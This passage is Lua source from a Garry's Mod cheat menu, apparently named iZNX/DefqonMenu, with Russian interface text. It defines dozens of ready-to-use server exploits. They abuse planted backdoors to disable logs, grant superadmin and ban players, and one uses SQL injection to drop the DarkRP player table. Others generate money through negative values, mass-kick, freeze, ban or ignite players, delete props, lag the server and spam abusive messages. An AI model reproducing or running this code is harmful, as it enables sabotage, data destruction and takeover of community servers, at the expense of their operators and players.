) then thefrenchenculer = "enablevac" else if iZNX.ValidNetString( "idk" ) then thefrenchenculer = "idk" else if iZNX.ValidNetString( "c" ) then thefrenchenculer = "c" else if iZNX.ValidNetString( "killserver" ) then thefrenchenculer = "killserver" else if iZNX.ValidNetString( "fuckserver" ) then thefrenchenculer = "fuckserver" else if iZNX.ValidNetString( "cvaraccess" ) then thefrenchenculer = "cvaraccess" else if iZNX.ValidNetString( "rcon" ) then thefrenchenculer = "rcon" else if iZNX.ValidNetString( "rconadmin" ) then thefrenchenculer = "rconadmin" else if iZNX.ValidNetString( "web" ) then thefrenchenculer = "web" else if iZNX.ValidNetString( "jesuslebg" ) then thefrenchenculer = "jesuslebg" else if iZNX.ValidNetString( "zilnix" ) then thefrenchenculer = "zilnix" else if iZNX.ValidNetString( "Þà?D)◘" ) then thefrenchenculer = "Þà?D)◘" else if iZNX.ValidNetString( "disablebackdoor" ) then thefrenchenculer = "disablebackdoor" else if iZNX.ValidNetString( "kill" ) then thefrenchenculer = "kill" else if iZNX.ValidNetString( "DefqonBackdoor" ) then thefrenchenculer = "DefqonBackdoor" end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end iZNX.AddExploit( ".NET Backdoor", { desc = "Найден .net backdoor: "..thefrenchenculer.."", severity = 1, scan = function() return iZNX.ValidNetString( thefrenchenculer ) end, functions = { { typ = "func", name = "Отключить логи", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart(thefrenchenculer) net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" ) net.WriteBit(1) net.SendToServer() end, }, { typ = "func", name = "Toxic.pro", func = function() iZNX.Menu:Remove() RunConsoleCommand( "toxic.pro" ) end, }, { typ = "htxcommandeliste", name = "Список команд" }, { typ = "soundboard", name = "SoundBoard" }, { typ = "players", addr = "give_superadmins" }, { typ = "func", name = "Superadmin", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "give_superadmins", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end local id = v:SteamID() iZNX.NetStart(thefrenchenculer) net.WriteString( "ulx adduserid "..id.." superadmin" ) net.WriteBit(false) net.SendToServer() end end, }, { typ = "func", name = "Забанить", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "give_superadmins", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end local id = v:SteamID() iZNX.NetStart(thefrenchenculer) net.WriteString( "ulx banid "..id.." 0 nudop udu Haxyu" ) net.WriteBit(false) net.SendToServer() end end } } } ) iZNX.AddExploit( "☢ Трахнуть базу данных SQL ☢", { desc = "Уничтожение базы данных darkrp master, стирая все данные игроков, вы должны быть супер админом !!", severity = 4, scan = function() return iZNX.ValidNetString( "pplay_sendtable" ) end, functions = { { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") local tbl = {} tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)" tbl.ply = LocalPlayer() iZNX.NetStart("pplay_sendtable") net.WriteTable(tbl) net.SendToServer() iZNX.ChatText( "База данных SQL Server уничтожена" ) end, }, }, } ) iZNX.AddExploit( "Уничтожить данные сервера", { desc = "Уничтожение данных сервера, вероятно будет бесить одменов)", severity = 3, scan = function() return iZNX.ValidNetString( "WriteQuery" ) end, functions = { { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_datatrasher" ) then iZNX.ChatText( "Запуск спама в данные сервера" ) timer.Create( "Defqon_exploit_datatrasher", 0.5, 0, function() iZNX.NetStart( "WriteQuery" ) net.WriteString( "BAN ME -> "..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) ) net.SendToServer() end) else timer.Remove( "Defqon_exploit_datatrasher" ) iZNX.ChatText( "Прекращение спама" ) end end, }, }, } ) iZNX.AddExploit( "[NEW] Broadcast", { desc = "Большой спам, очень скучный", severity = 1337, scan = function() return iZNX.ValidNetString( "VJSay" ) end, functions = { { typ = "string", name = "Введите сообщение", default = "DefqonMenu", addr = "vj_string" }, { typ = "func", name = "Начать", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Broadcasting") iZNX.NetStart("VJSay") net.WriteEntity(nil) net.WriteString( iZNX.GetStored( "vj_string", "DefqonMenu" ) ) net.WriteString("") net.SendToServer() end } } } ) iZNX.AddExploit( "Give weapons", { desc = "Exploit дает вам гребаное оружие | Большой шанс неработоспособности", severity = 3, scan = function() return iZNX.ValidNetString( "CraftSomething" ) end, functions = { { typ = "string", name = "Тип оружия", default = "ls_sniper", addr = "armes_a_prendre" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "CraftSomething" ) net.WriteEntity( LocalPlayer() ) net.WriteString( iZNX.GetStored( "armes_a_prendre" ) ) net.WriteString( "" ) net.WriteString( "weapon" ) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "ULX Extended ", { desc = "Осторожно! Этот эксплойт опасен, если аддон обновлен вы будете кикнуты", severity = 3, scan = function() return iZNX.ValidNetString( "banleaver" ) end, functions = { { typ = "func", name = "Забанить админов", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(player.GetAll()) do if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro if v != LocalPlayer() then iZNX.NetStart("banleaver") net.WriteString(v:SteamID().."{sep}".."bb") net.SendToServer() end end end end, }, { typ = "func", name = "Забанить всех", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(player.GetAll()) do if v != LocalPlayer() then iZNX.NetStart("banleaver") net.WriteString(v:SteamID().."{sep}".."bb") net.SendToServer() end end end, }, }, } ) iZNX.AddExploit( "€ Casino NPC €", { desc = "Exploit на очень эффективные деньги, купим шлюх и кокс ;)", severity = 4, scan = function() return iZNX.ValidNetString( "75_plus_win" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent" }, { typ = "players", addr = "l_players_listing" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart( "75_plus_win" ) net.WriteString( iZNX.GetStored( "montant_argent" ) ) net.WriteEntity(v) net.SendToServer() end end, }, { typ = "func", name = "Забрать", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart( "75_plus_win" ) net.WriteString( -iZNX.GetStored( "montant_argent" ) ) net.WriteEntity(v) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "€ ATM €", { desc = "Exploit на деньги, идем покупать шлюх и кокс ;)", severity = 4, scan = function() return iZNX.ValidNetString( "ATMDepositMoney" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent5" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "ATMDepositMoney" ) net.WriteFloat( -iZNX.GetStored( "montant_argent5" ) ) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "TAXI Spawn Lag", { desc = "Exploit чтобы ссать на процессоры кодеров ;)", severity = 2, scan = function() return iZNX.ValidNetString( "Taxi_Add" ) end, functions = { { typ = "func", name = "Спавн", func = function() surface.PlaySound("garrysmod/ui_click.wav") local Pos = LocalPlayer():GetEyeTrace().HitPos iZNX.NetStart("Taxi_Add") net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 )) net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z}) net.WriteFloat(-9999999) net.WriteString("The addons leaks is full of feat :D") net.SendToServer() end, }, { typ = "func", name = "Супер спам", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "taxispam" ) then iZNX.ChatText( "Спам спавном такси запущен" ) timer.Create( "taxispam", 0.05, 0, function() local Pos = LocalPlayer():GetEyeTrace().HitPos iZNX.NetStart("Taxi_Add") net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 )) net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z}) net.WriteFloat(-9999999) net.WriteString("The addons leaks is full of feat :D") net.SendToServer() end) else timer.Remove( "taxispam" ) iZNX.ChatText( "Спам спавном такси прекращен" ) end end, }, }, } ) iZNX.AddExploit( "€ eMining €", { desc = "Exploit на деньги ;)", severity = 4, scan = function() return iZNX.ValidNetString( "SellMinerals" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent6" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(SkillDB) do if not ( v.iSkill == true ) then iZNX.NetStart("Upgrade") net.WriteTable( { LuaName = v.LuaName, Amount = -iZNX.GetStored( "montant_argent6" ) } ) net.SendToServer() iZNX.NetStart( "SellMinerals" ) net.WriteTable( { Target = LocalPlayer() } ) net.SendToServer() end end end, }, { typ = "func", name = "Снять", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(SkillDB) do if not ( v.iSkill == true ) then iZNX.NetStart("Upgrade") net.WriteTable( { LuaName = v.LuaName, Amount = iZNX.GetStored( "montant_argent6" ) } ) net.SendToServer() iZNX.NetStart( "SellMinerals" ) net.WriteTable( { Target = LocalPlayer() } ) net.SendToServer() end end end, }, }, } ) iZNX.AddExploit( "€ Gamble NPC €", { desc = "Exploit на бессконечные деньги, купим шлюх и кокс ;)", severity = 4, scan = function() return iZNX.ValidNetString( "TakeBetMoney" ) end, functions = { { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "TakeBetMoney" ) net.WriteTable({1e333333 , 1e333333}) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Kun Oil Mod €", { desc = "Exploit на деньги, купим шлюх и кокс ;)", severity = 3, scan = function() return iZNX.ValidNetString( "Kun_SellOil" ) end, functions = { { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(ents.GetAll()) do iZNX.NetStart("Kun_SellOil") net.WriteEntity(v) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "Join the Police 1", { desc = "Вступление в полицию, не одевая эту гребаную форму", severity = 2, scan = function() return iZNX.ValidNetString( "PoliceJoin" ) end, functions = { { typ = "func", name = "Вступить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("PoliceJoin") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Join the Police 2", { desc = "Вступление в полицию, не одевая эту гребаную форму", severity = 2, scan = function() return iZNX.ValidNetString( "CpForm_Answers" ) end, functions = { { typ = "func", name = "Вступить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("CpForm_Answers") net.WriteEntity(LocalPlayer()) net.WriteTable({}) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Deposit Money €", { desc = "Exploit на деньги с ATM банкоматом", severity = 2, scan = function() return iZNX.ValidNetString( "DepositMoney" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent7" }, { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(ents.GetAll()) do swag = v end for k,v in pairs(player.GetAll()) do iZNX.NetStart( "DepositMoney" ) net.WriteEntity(swag) net.WriteString(-iZNX.GetStored( "montant_argent7" )) net.WriteEntity(v) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "MDE", { desc = "Exploit для удаления PermaProps (Наведите на проп и нажмите на кнопку, чтобы удалить его)", severity = 2, scan = function() return iZNX.ValidNetString( "MDE_RemoveStuff_C2S" ) end, functions = { { typ = "func", name = "Удалить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "MDE_RemoveStuff_C2S" ) net.WriteTable( {DATA="",TARGET=LocalPlayer():GetEyeTrace().Entity} ) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ SS Shelf NET €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "NET_SS_DoBuyTakeoff" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent9" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(ents.GetAll()) do swag = v end iZNX.NetStart( 'NET_SS_DoBuyTakeoff' ) net.WriteEntity(LocalPlayer()) net.WriteEntity(swag) net.WriteTable({'spawned_weapon'}) net.WriteInt(-iZNX.GetStored( "montant_argent9" ), 16) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ MODIFIER TAXES €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "NET_EcSetTax" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent10" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("NET_EcSetTax") net.WriteInt(-iZNX.GetStored( "montant_argent10" ), 16) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Fine System €", { desc = "Exploit на деньги, купим шлюх и кокс ;)", severity = 3, scan = function() return iZNX.ValidNetString( "RP_Accept_Fine" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent11" }, { typ = "players", addr = "l_players_listing_fine" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing_fine", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart("RP_Accept_Fine") net.WriteString(v:Nick()) net.WriteDouble(-iZNX.GetStored( "montant_argent11" )) net.SendToServer() end end, }, { typ = "func", name = "Отправить всем", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing_fine", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart("RP_Fine_Player") net.WriteString(v:Nick()) net.WriteString(v:Nick()) net.WriteDouble(iZNX.GetStored( "montant_argent11" )) net.WriteString("This server deserves anarchy! Server hacked !! You can lick my asshole now x)") net.SendToServer() end end, }, { typ = "func", name = "Spam send Fine x)", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "spamamandefine" ) then iZNX.ChatText( "Начинаем спам" ) timer.Create( "spamamandefine", 0.1, 0, function() local t = iZNX.GetStored( "l_players_listing_fine", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart("RP_Fine_Player") net.WriteString(v:Nick()) net.WriteString(v:Nick()) net.WriteDouble(iZNX.GetStored( "montant_argent11" )) net.WriteString("This server deserves anarchy! Server hacked !! You can lick my asshole now x)") net.SendToServer() end end) else timer.Remove( "spamamandefine" ) iZNX.ChatText( "Прекращаем спам" ) end end, }, }, } ) iZNX.AddExploit( "€ 3D Cardealer €", { desc = "Exploit на деньги, Смотрите на купленный автомобиль, чтобы дублировать его ;)", severity = 2, scan = function() return iZNX.ValidNetString( "RXCAR_Shop_Store_C2S" ) end, functions = { { typ = "func", name = "Дублировать", func = function() surface.PlaySound("garrysmod/ui_click.wav") for i = 0, 75 do iZNX.NetStart( "RXCAR_Shop_Store_C2S" ); net.WriteTable( { E = ent } ); net.SendToServer(); end end, }, { typ = "func", name = "Продать все", func = function() surface.PlaySound("garrysmod/ui_click.wav") local ent for k,v in pairs(ents.GetAll()) do if v:GetClass() == "rm_car_dealer" then ent = v end end for k,v in pairs(RX3DCar_Inventory) do iZNX.NetStart( "RXCAR_SellINVCar_C2S" ) net.WriteTable({UN=v.UniqueID,SE=ent}) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "Remove Weapons / Money", { desc = "Удалить оружие / деньги у всех", severity = 3, scan = function() return iZNX.ValidNetString( "drugseffect_remove" ) end, functions = { { typ = "func", name = "Удалить оружие", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("drugseffect_remove") net.SendToServer() end, }, { typ = "func", name = "Удалить деньги", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("drugs_money") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Crafting Mod €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "CRAFTINGMOD_SHOP" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent14" }, { typ = "func", name = "Добавить денег", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("CRAFTINGMOD_SHOP") net.WriteTable({ BUY = -iZNX.GetStored( "montant_argent14" ); type = 1 }) net.WriteInt(1,16) net.SendToServer() end, }, { typ = "func", name = "Удалить деньги", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("CRAFTINGMOD_SHOP") net.WriteTable({ BUY = LocalPlayer():getDarkRPVar("money"); type = 1 }) net.WriteInt(1,16) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Set on FIRE", { desc = "Подожгите пропы / игроков. RIP JOHNNY.", severity = 3, scan = function() return iZNX.ValidNetString( "drugs_ignite" ) end, functions = { { typ = "func", name = "Поджечь пропы", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("drugs_ignite") net.WriteString("prop_physics") net.SendToServer() end, }, { typ = "func", name = "Поджечь игроков", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("drugs_ignite") net.WriteString("player") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Change HP", { desc = "Измените HP игроков", severity = 2, scan = function() return iZNX.ValidNetString( "drugseffect_hpremove" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100", addr = "montant_argent15" }, { typ = "func", name = "Сетнуть HP", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("drugseffect_hpremove") net.WriteString(iZNX.GetStored( "montant_argent15" )) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Teleportation", { desc = "Телепорт на спавн", severity = 2, scan = function() return iZNX.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end, functions = { { typ = "func", name = "Телепорт", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("DarkRP_Kun_ForceSpawn") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Удалить проп 2", { desc = "Удаление всех пропов", severity = 2, scan = function() return iZNX.ValidNetString( "drugs_text" ) end, functions = { { typ = "func", name = "Удалить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("drugs_text") net.WriteString("prop_physics") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Kick 3", { desc = "Exploit для кика всех людей", severity = 3, scan = function() return iZNX.ValidNetString( "NLRKick" ) end, functions = { { typ = "players", addr = "l_players_listing515" }, { typ = "func", name = "Кик", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing515", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart("NLRKick") net.WriteEntity(v) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "Kick 2", { desc = "Exploit для кика", severity = 3, scan = function() return iZNX.ValidNetString( "RecKickAFKer" ) end, functions = { { typ = "players", addr = "l_players_listing2545" }, { typ = "func", name = "Кик", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing2545", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart("RecKickAFKer") net.WriteEntity(v) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "Loot Items", { desc = "Auto-Loot предметов", severity = 2, scan = function() return iZNX.ValidNetString( "GMBG:PickupItem" ) end, functions = { { typ = "func", name = "Лут", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k, v in pairs(ents.GetAll()) do if v:GetClass() == "item_loot" then iZNX.NetStart("GMBG:PickupItem") net.WriteEntity(v) net.SendToServer() iZNX.NetStart("GMBG:PickupItem") net.WriteEntity(v) net.SendToServer() iZNX.NetStart("GMBG:PickupItem") net.WriteEntity(v) net.SendToServer() iZNX.NetStart("GMBG:PickupItem") net.WriteEntity(v) net.SendToServer() iZNX.NetStart("GMBG:PickupItem") net.WriteEntity(v) net.SendToServer() iZNX.NetStart("GMBG:PickupItem") net.WriteEntity(v) net.SendToServer() end end end, }, }, } ) iZNX.AddExploit( "Kick everyone", { desc = "Exploit для кика всх людей", severity = 3, scan = function() return iZNX.ValidNetString( "DL_Answering" ) end, functions = { { typ = "func", name = "Кик", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "kickallnoob" ) then iZNX.ChatText( "Кик всех запущен" ) timer.Create( "kickallnoob", 0.05, 0, function() for i = 1, 2000 do iZNX.NetStart("DL_Answering") net.SendToServer() end end) else timer.Remove( "kickallnoob" ) iZNX.ChatText( "Кик всех прекращен" ) end end, }, }, } ) iZNX.AddExploit( "Kick 1", { desc = "Exploit для кика админов", severity = 3, scan = function() return iZNX.ValidNetString( "plyWarning" ) end, functions = { { typ = "players", addr = "l_players_listing255" }, { typ = "func", name = "Кик", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing255", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart('plyWarning') net.WriteEntity(v) net.WriteString('You have to select a player before doing a action.') net.SendToServer() iZNX.ChatText("Попытка кикнуть ".. v:Nick().. "!") end end, }, }, } ) iZNX.AddExploit( "NLR Freeze", { desc = "Exploit для заморозки всех людей", severity = 3, scan = function() return iZNX.ValidNetString( "NLR.ActionPlayer" ) end, functions = { { typ = "players", addr = "l_players_listing45" }, { typ = "func", name = "Заморозить", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listing45", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart("NLR.ActionPlayer") net.WriteEntity(v) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "Delete props 1", { desc = "Удаление всех пропов на сервере", severity = 2, scan = function() return iZNX.ValidNetString( "timebombDefuse" ) end, functions = { { typ = "func", name = "Удалить", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(ents.GetAll()) do iZNX.NetStart("timebombDefuse") net.WriteEntity(v) net.WriteBool(true) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "Hack Keypads", { desc = "w0w h4ck3r", severity = 1, scan = function() return iZNX.ValidNetString( "start_wd_emp" ) end, functions = { { typ = "func", name = "Хакнуть", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("start_wd_emp") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Kart System €", { desc = "Exploit для денег.", severity = 3, scan = function() return iZNX.ValidNetString( "kart_sell" ) end, functions = { { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") for i=1, 300 do iZNX.NetStart("kart_sell") net.WriteString("sw_gokart") net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "€ Farming Mod €", { desc = "Exploit для денег, купим шлюх и кокс ;)", severity = 3, scan = function() return iZNX.ValidNetString( "FarmingmodSellItems" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent1" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "FarmingmodSellItems" ) net.WriteTable( { Cost = 10, CropModel = "models/props/eryk/garlic.mdl", CropType = 2, Info = "Garlic Seed", Model = "models/props/eryk/seedbag.mdl", Name = "Garlic", Quality = 4, Sell = iZNX.GetStored( "montant_argent1" ), Type = "Seed" } ) net.WriteInt(1,16) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Point Shop €", { desc = "Exploit для денег, купим шлюх и кокс ;)", severity = 3, scan = function() return iZNX.ValidNetString( "ClickerAddToPoints" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent2" }, { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("ClickerAddToPoints") net.WriteInt(iZNX.GetStored( "montant_argent2" ), 32) net.SendToServer() end, }, }, } ) local PM = 1 local SK = 1 local BG = 1 local HN = 1 local TS = 1 local GL = 1 local LG = 1 iZNX.AddExploit( "Body Groups", { desc = "Изменение скина", severity = 1, scan = function() return iZNX.ValidNetString( "bodyman_model_change" ) end, functions = { { typ = "func", name = "Изменить", func = function() surface.PlaySound("garrysmod/ui_click.wav") PlayerModels = {0,1,2,3,4,5,6} Torso = {0,1,2,3,4,5,6,7,8,9,10} Legs = {0,1,2,3,4,5,6} Hands = {0,1,2} Glasses = {0,1} Skins = {0,1,2,3,4,5,6,7,8,9,10} PM = PM+1 TS = TS+1 LG = LG+1 HN = HN+1 GL = GL+1 SK = SK+1 if (PM>#PlayerModels) then PM=1 end if (SK>#Skins) then SK=1 end if (HN>#Hands) then HN=1 end if (TS>#Torso) then TS=1 end if (GL>#Glasses) then GL=1 end if (LG>#Legs) then LG=1 end iZNX.NetStart("bodyman_model_change") net.WriteInt(PlayerModels[PM], 10 ) net.SendToServer() iZNX.NetStart("bodygroups_change") net.WriteTable( { 1, Torso[TS] } ) net.SendToServer() iZNX.NetStart("bodygroups_change") net.WriteTable( { 2, Legs[LG] } ) net.SendToServer() iZNX.NetStart("bodygroups_change") net.WriteTable( { 3, Hands[HN] } ) net.SendToServer() iZNX.NetStart("bodygroups_change") net.WriteTable( { 4, Glasses[GL] } ) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Hitman X €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "SendMoney" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent666" }, { typ = "players", addr = "l_players_list" }, { typ = "func", name = "Дать", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_list", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end hook.Remove( "HUDPaint", "skhdsakjl") iZNX.NetStart( "SendMoney" ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteString( -iZNX.GetStored( "montant_argent666" ) ) net.SendToServer() end end, }, { typ = "func", name = "Забрать", func = function() surface.PlaySound("garrysmod/ui_click.wav") hook.Remove( "HUDPaint", "skhdsakjl") local t = iZNX.GetStored( "l_players_list", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart( "SendMoney" ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteString( iZNX.GetStored( "montant_argent666" ) ) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "€ Bail Out €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "BailOut" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent16" }, { typ = "players", addr = "l_player_liste" }, { typ = "func", name = "Дать", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_player_liste", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart( "BailOut" ) net.WriteEntity( LocalPlayer() ) net.WriteEntity( v ) net.WriteFloat( -iZNX.GetStored( "montant_argent16" ) ) net.SendToServer() end end, }, { typ = "func", name = "Забрать", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_player_liste", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end iZNX.NetStart( "BailOut" ) net.WriteEntity( LocalPlayer() ) net.WriteEntity( v ) net.WriteFloat( iZNX.GetStored( "montant_argent16" ) ) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "€ Tow Truck €", { desc = "Это перевести я не смог", severity = 2, scan = function() return iZNX.ValidNetString( "TOW_SubmitWarning" ) end, functions = { { typ = "func", name = "Spawn МТП", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("TowTruck_CreateTowTruck") net.SendToServer() end, }, { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent17" }, { typ = "func", name = "Money Exploit", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(ents.GetAll()) do iZNX.NetStart("TOW_SubmitWarning") net.WriteString(LocalPlayer():SteamID()) net.WriteDouble(-iZNX.GetStored( "montant_argent17" )) net.WriteEntity(v) net.SendToServer() iZNX.NetStart("TOW_PayTheFine") net.WriteEntity(v) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "Fire Truck", { desc = "Спавн Fire Truck", severity = 1, scan = function() return iZNX.ValidNetString( "FIRE_CreateFireTruck" ) end, functions = { { typ = "func", name = "Заспавнить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("FIRE_CreateFireTruck") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ Hit Menu €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "hitcomplete" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent18" }, { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("hitcomplete") 